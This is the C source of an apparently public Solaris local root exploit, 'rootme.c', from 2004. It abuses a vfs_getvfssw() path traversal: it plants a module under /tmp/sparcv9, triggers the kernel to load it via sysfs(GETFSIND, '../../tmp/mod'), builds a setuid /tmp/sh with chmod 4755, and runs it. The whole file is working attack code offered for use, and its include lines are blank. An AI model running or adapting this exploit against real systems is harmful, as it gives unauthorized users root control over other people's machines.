/* rootme.c - Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* code by Sam and  2004/04/07
*      
*                    
*
* bug find by Dave Aitel
* http://www.immunitysec.com/downloads/solaris_kernel_vfs.sxw.pdf
*
*
* some thanks/greets to:
* sst members, Xfocus Guys, my gf :I
* and everyone else who's KNOW SST ;P
* http://0x557.org
*/

#include
#include
#include
#include
#include

int do_root_me ()
{
  if (mkdir("/tmp/sparcv9", 0777) < 0) {
    perror ("mkdir");
    return -1;
  }
  
  system ("cp ./mod /tmp/sparcv9/");
  
  sysfs (GETFSIND, "../../tmp/mod");
  
  return 0;
}

int make_shell ()
{
  system ("gcc -o sh sh.c;cp ./sh /tmp/sh;chmod 4755 /tmp/sh");
  return 0;
}
  

int main()
{
  pid_t  child;
  
  make_shell ();
  child = fork ();
  if (child == -1)
    printf ("Unable to fork\n");

  if (child == 0)
    do_root_me();
  
  system("/usr/bin/rm -rf /tmp/sparcv9");
  printf ("press anykey ");  
  getchar ();
  execl ("/tmp/sh", "/tmp/sh", 0);
  
  return 0;
}